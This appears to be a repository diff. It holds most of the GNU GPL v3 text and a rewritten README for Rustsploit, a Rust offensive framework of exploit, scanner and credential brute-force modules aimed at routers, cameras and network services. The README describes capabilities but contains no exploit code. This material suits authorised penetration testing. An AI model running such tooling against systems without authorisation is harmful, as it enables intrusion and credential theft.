||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
|
||||
@@ -1,75 +1,117 @@
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||
|
||||

|
||||

|
||||
|
||||
---
|
||||
|
||||
# R-RouterSploit 🛠️
|
||||
## 📖 Wiki & Documentation
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
|
||||
|
||||

|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](docs/API-Server.md) | REST + WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
|
||||
| [Changelog](docs/Changelog.md) | Release notes and version history |
|
||||
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
|
||||
|
||||
---
|
||||
|
||||
### Goals & To Do lists
|
||||
## Highlights
|
||||
|
||||
convert exploits and add modules
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
|
||||
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
|
||||
- **Module metadata:** Optional `info()` and `check()` functions per module — CVE references, author, rank, non-destructive vulnerability verification
|
||||
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
|
||||
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
|
||||
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
|
||||
- **Loot management:** Structured evidence collection with file storage and metadata indexing
|
||||
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
|
||||
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
|
||||
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
|
||||
- **Console logging:** `spool` command captures all output to file for documentation
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, IMAP, RDP, RTSP, SNMP, L2TP, MQTT, VNC, MySQL, PostgreSQL, Redis, CouchDB, Elasticsearch, Memcached, HTTP Basic, Proxy, Fortinet — with IPv6 and TLS support
|
||||
- **Exploit coverage:** CVEs for VNC (LibVNC, TigerVNC, TightVNC, x11vnc), honeypots (Cowrie, Dionaea, HoneyTrap, SNARE), WAFs (SafeLine), Apache Camel, Kubernetes ingress-nginx, Commvault, MISP, Zimbra, Next.js, Vite, and 100+ more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
|
||||
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
|
||||
- **MCP server:** 38-tool Model Context Protocol server for AI-assisted pentesting via stdio
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with build-time discovery and startup safety warnings
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
add wordlists and brute forcing modules
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
## 🚀 Building & Running
|
||||
|
||||
### 📦 Clone the Repository
|
||||
|
||||
```
|
||||
git clone https://github.com/s-b-repo/r-routersploit.git
|
||||
cd r-routersploit
|
||||
```
|
||||
|
||||
### 🛠️ Build the Project
|
||||
**One command** (Debian/Ubuntu/Kali):
|
||||
|
||||
```bash
|
||||
cargo build
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake && (command -v cargo > /dev/null 2>&1 || (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && . "$HOME/.cargo/env")) && git clone https://github.com/s-b-repo/rustsploit.git && cd rustsploit && cargo run
|
||||
```
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
<details>
|
||||
<summary>What each dependency does</summary>
|
||||
|
||||
You can run specific modules via CLI using subcommands:
|
||||
| Package | Required by | Why |
|
||||
|---------|------------|-----|
|
||||
| `build-essential` | Native crate compilation | gcc, make, libc headers |
|
||||
| `pkg-config` | `native-tls`, `ssh2` | Finds system libraries at build time |
|
||||
| `libssl-dev` | `native-tls`, `ssh2` | OpenSSL headers for TLS and SSH |
|
||||
| `libdbus-1-dev` | `btleplug` | D-Bus IPC for Bluetooth scanning |
|
||||
| `cmake` | `ssh2` (libssh2-sys) | Builds libssh2 from source |
|
||||
|
||||
#### ▶ Exploit
|
||||
|
||||
```
|
||||
cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
|
||||
```
|
||||
</details>
|
||||
|
||||
#### 🧪 Scanner
|
||||
|
||||
```
|
||||
cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🔐 Credentials
|
||||
|
||||
```
|
||||
cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
|
||||
```
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
|
||||
Launch the interactive RSF shell:
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
Once inside the shell, you can explore and execute modules:
|
||||
|
||||
```shell
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> use exploits/sample_exploit
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
```
|
||||
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → [Getting Started](docs/Getting-Started.md)
|
||||
- **Writing a module?** → [Module Development](docs/Module-Development.md)
|
||||
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
|
||||
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
|
||||
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## Private Internet Recommendations
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
